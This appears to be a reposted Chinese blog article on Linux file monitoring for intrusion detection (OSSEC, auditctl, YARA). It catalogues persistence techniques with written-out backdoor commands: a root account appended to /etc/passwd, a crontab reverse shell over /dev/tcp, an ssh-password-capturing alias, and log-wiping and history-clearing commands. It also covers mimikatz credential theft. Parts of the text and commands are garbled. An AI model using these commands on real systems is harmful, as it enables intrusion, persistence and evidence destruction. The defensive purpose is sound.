本篇内容介绍了“Linux怎么实现文件监控”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!之前从大的宏观角度基于ATT&CK矩阵ATT&CK矩阵Linux系统安全实践介绍了linux主机检测的方向,后面的系列从分几个层次,降低维度介绍,最后再从每个小的技术点出发,本文同样本着从攻击者的角度出发进行防御。linux的文件监控是在安全防护中的很重要的一个环境,可识别可疑篡改和文件权限更新,及时发现恶意代码等。以webshell为例,目前检测Webshell的方式较多,有基于HTTP流量、基于Web访问日志、基于文件特征Webshell变量名、危险函数名等以及基于动态沙箱和机器学习。基于文件特征检测部署方便,一个脚本就可以完成,准确率高,可拓展性强,同时可以执行添加规则,当然修改文件特征值,也很有可能被绕过。识别和分析恶意样本,基于文本和二进制特征匹配原理,通过命令行界面或带有YARA-Python扩展名的Python脚本使用。为什么要进行文件监控防护?对于恶意文件有必要进行全文检索吗?如何减少检索量?Linux的攻击形式,排除溢出漏洞,基于一切皆文件的原理,其终究是在修改文件和执行可执行文件,将文件和SVN文件或者原始目录进行文件哈希对比,识别出一些不一致的文件,通过排查新增和修改的文件,再识别出攻击者上传的Webshell。(使用diff也是同样的原理)。同样包括在命令控制、持久化以及横向移动清理痕迹中,都需要对文件进行修改。ossec 可以对文件进行检查,包括文件是否修改,修改的内容(正常手段,有时候),文件属性等等。关于文件的监控,在OSSEC.CONF文件中audit工具可以对文件使用进行监控,可以监控是哪个进程对文件进行读写执行和atrribute属性修改。Auditctl -w /home/wt7315 -p wxra/etc目录是系统主要的配置文件几乎都放置到这个目录内,例如人员的账号密码文件、各种服务的起始文件等。*/bin
主要放置一些系统必备执行的档例,是用户和管理员必备的二进制文件。/bin/usr/bin/sbin/usr/sbin/etc在windows域渗透中,可以通过SAM文件获取密码,以及通过mimikatz获取明文登录密码。 安全支持提供程序(SSP),主要功能是扩展Windows身份认证机制,该DLL文件会在lsass.exe 启动过程中进行加载。 DLL和注册表结合,将Mimikatz程序中的mimilib.dll复制到目标机器的system32文件夹下向路径:hklmsystemcurrentcontrolsetcontrollsa
添加新值用户登陆即会在相同路径下(System32)记录明文密码,且重启依旧会记录。
也可以将mimikatz注入内存中,当用户登陆时,System32文件夹下会自动存储mimilsa里面存放登陆的账号密码。
那么linux系统要获取存储在内存中的密码和哈希,进程必须在/proc文件系统中打开待分析进程的映射文件。该文件存储在/proc/$pid/maps路径下。其中,目录是要查询此类身份认证数据程序的唯一pid。使用mmipenguin:https://github.com/huntergreg
(1.) 开机启动过程rhel6启动过程,7和6的区别使用systemd对进程初始化
对于支持service的程序,安装的时候,会自动在/etc/init.d目录下自动添加一个配置文件,使用service httpd start,会开启/etc/init.d/httpd配置文件里指向的/usr/sbin/httpd对于支持 systemd 的程序,安装时会自动的在 /usr/lib/systemd/system 目录添加一个配置文件。使用 systemctl 控制该程序时,systemctl start httpd.service, systemctl 就会开启 httpd.service 配置里面指向的 /usr/sbin/httpd 可执行文件(2.) Linux init在systemd成为主流之前,sysvinit是大多数发行版的选择,即使是Ubuntu之前使用的upstart,和sysvinit也是完全兼容的,直到今天,Debian系发行版仍保留sysvinit的兼容性。作为Linux的init程序,也就是PID 1,负责启动之后的所有进程,所有的服务都是由它管理,是实现rootkit的常见手段。对于传统的sysvinit,常见的驻留点都需要以root身份写入:
对于systemd,有更多手段实现驻留,甚至不需要root权限也可以:(3.) 用户环境信息bashrc与profile都用于保存用户的环境信息,bashrc用于交互式non-loginshell,而pr免费云主机域名ofile用于交互式login shell。系统中存在许多bashrc和profile文件(4.) run commands以rc开头或结尾的文件:rcxinetd,~/.bashrc等文件rc.d和rcX.d等目录(5.) 图形化环境下在安装图形化的服务器上,基于gnome等桌面环境和xorg是常用和经常被忽略的手段
(6.) 任务计划crond是linux下用来周期性的执行某种任务或等待处理事件的一个守护进程,提供使用者控制计划任务命令:crontab,分系统任务调度和用户认读调度 /var/spool/cron/ /etc/cron*(7.) 动态链接库劫持linux动态链接库的加载顺序:编译时指定的run pathLD_LIBRARY_PATH 指定的地方ldconfig 指定的地方/lib/usr/lib替换动态链接库libc会被几乎所有的ELF调用,而特定的lib则会被特定的ELF调用,只要某个ELF的执行概率够高,我们同样可以用我们重新编译的恶意so替换掉它所链接的某个so文件,达到执行恶意代码的效果ld.so.preload最常见的实现是在/etc/ld.so.preload中写入我们需要让libc执行的so文件,或者设置LD_PRELOAD环境变量/etc/profile~/.bashrc~/.bash_profile~/.bash_logout常见的后门权限维持技术如下,从常见的后门技术,对文件进行监控(1)增加超级用户帐号echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd
(2)破解/嗅控用户密码获得shadow文件后,用John the Ripper工具破解薄弱的用户密码,根据我所使用的情况下只能破解一些简单常用密码其它密码很难跑出来。除此之外可以使用hashcatGPU、或者分布式服务器来进行破解(3)放置SUID Shell**普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。(4)Crontab定时任务(crontab -l;printf "*/5 * * * * exec9 /dev/tcp/localhost/8080&&exec0&92>&1&&/bin/bash --noprofile –I;rno crontab for
whoami%100cn")|crontab –
(5)alias 后门当前用户目录下.bashrcalias ssh='strace -o /tmp/sshpwd-
date ‘+%d%h%m%s’.log -e read,write,connect -s2048 ssh'
(6)pam 后门 or openssh修改pam_unix_auth.c,添加万能密码等等,都需要新增加文件或者修改文件(1) 仅清理当前用户: history -c(2) 使系统不再保存命令记录:vi /etc/profile,找到HISTSIZE这个值,修改为0(3) 删除记录删除登录失败记录:echo > /var/log/btmp删除登录成功记录:echo > /var/log/wtmp 删除日志记录:echo > /var/log/secure(4) 不记录ssh公钥在本地.ssh目录中ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
(5) 登录账户 w下管理员是看不到的ssh -T somebody@8.8.8.8 /bin/bash –i
“Linux怎么实现文件监控”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注云编程开发博客网站,小编将为大家输出更多高质量的实用文章!
这篇文章主要讲解了“IPv6基础知识有哪些”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“IPv6基础知识有哪些”吧!一、IPv6背景IPv6 将网络地址位数从 32 位扩展到 128 位, 这代表着可以为地球上…
免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。